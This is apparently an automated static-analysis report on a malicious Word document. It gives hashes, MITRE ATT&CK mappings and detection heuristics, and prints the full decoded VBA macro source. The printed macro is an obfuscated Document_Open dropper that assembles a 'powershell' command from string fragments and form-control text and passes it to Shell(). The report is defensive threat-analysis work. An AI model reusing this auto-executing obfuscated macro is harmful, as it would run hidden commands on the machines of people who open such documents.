Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cc2146273be1bd2a…

MALICIOUS

Office (OLE)

101.0 KB Created: 2019-02-05 11:35:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 73226cd28f75043cd2a3b31cd6f419be SHA-1: 99941c668c3a336390191a904e3239e0333b28a0 SHA-256: cc2146273be1bd2adc3edc9ab601afcd1d67c25cafacf5bdf606121a818a1cd0
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution macro. This macro utilizes a Shell() call to execute a command. The script concatenates strings to form the command 'SHELL ower', which is likely intended to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6846993-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6846993-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6846993-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2212 bytes
SHA-256: a35d3055b060b842d51f19e1ec82b88c48643180aa537299abca3060cebb44f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim jFqvVR3 As Long
jFqvVR3 = (299 - 272) + (40)
Dim wy2qHN61 As Long
wy2qHN61 = (299 - 272) + (40)

Dim SiVFe
SiVFe = zqUCve4Y0
Dim IRDlQ(7 To 238) As String
IRDlQ(7) = "oQFYksdS"
Call w("er")
End Sub

Attribute VB_Name = "IXr4oP"
Sub w(Wly0SuA)
Dim xlb09gB As Long
xlb09gB = (15304 / 1913) + (22)
Dim xpyGqI2oD(11 To 173) As Long
xpyGqI2oD(11) = 18648 / 296
Dim zQrgFtPBp(13 To 81) As String
zQrgFtPBp(13) = "R3upyzMxF"
Dim SM8H7BaE As Long
SM8H7BaE = (-2099 + 2113) * (9)
Dim HCxYZv(11 To 154) As String
HCxYZv(11) = "bzcBy"
vNliArB = "SHE" & "LL "
vKt6NL = "ow"
xoBg93iHu = Wly0SuA
Dim s34Xg9sv As Long
s34Xg9sv = (-728 + 750) / (20)
Dim DOT9SP As String
DOT9SP = O5JCqO
Dim KOjm3(2 To 231) As String
KOjm3(2) = "krU7W"
Dim hhvEG3(13 To 243) As Long
hhvEG3(13) = 12138 / 102
f1J7V0 uVqNb93eO() & vKt6NL & xoBg93iHu & vNliArB & daOQV
End Sub

Attribute VB_Name = "R0woY"
Public Function uVqNb93eO() As String
Dim KqwWV0uzo As String
KqwWV0uzo = lJevy
Dim yfcOY As Long
yfcOY = (-3041 + 3050) * (22)
Dim ceoYS As String
ceoYS = Sqsegov
Dim ogXfQvxBY As Long
ogXfQvxBY = (1328 - 1322) * (54)
Dim fymoPIR(2 To 220) As String
fymoPIR(2) = "vvI6qxs"
uVqNb93eO = "p"
End Function
Function f1J7V0(e0DAy6)
f1J7V0 = Shell(e0DAy6, False)
End Function

Attribute VB_Name = "v8jzv9m1"
Public Function daOQV()
Dim vnj2gp As String
vnj2gp = i7s6q
Dim OhUDFA(4 To 197) As Long
OhUDFA(4) = 1 * 54
Dim aghsy As Object
Set aghsy = New f
Dim zfmSNTr7l As String
zfmSNTr7l = aghsy.de.Text
daOQV = zfmSNTr7l
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{03B8E98B-FFAD-4E72-86F8-58D8D048E983}{5498383A-5BC8-40FC-AEDF-719080BC9431}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False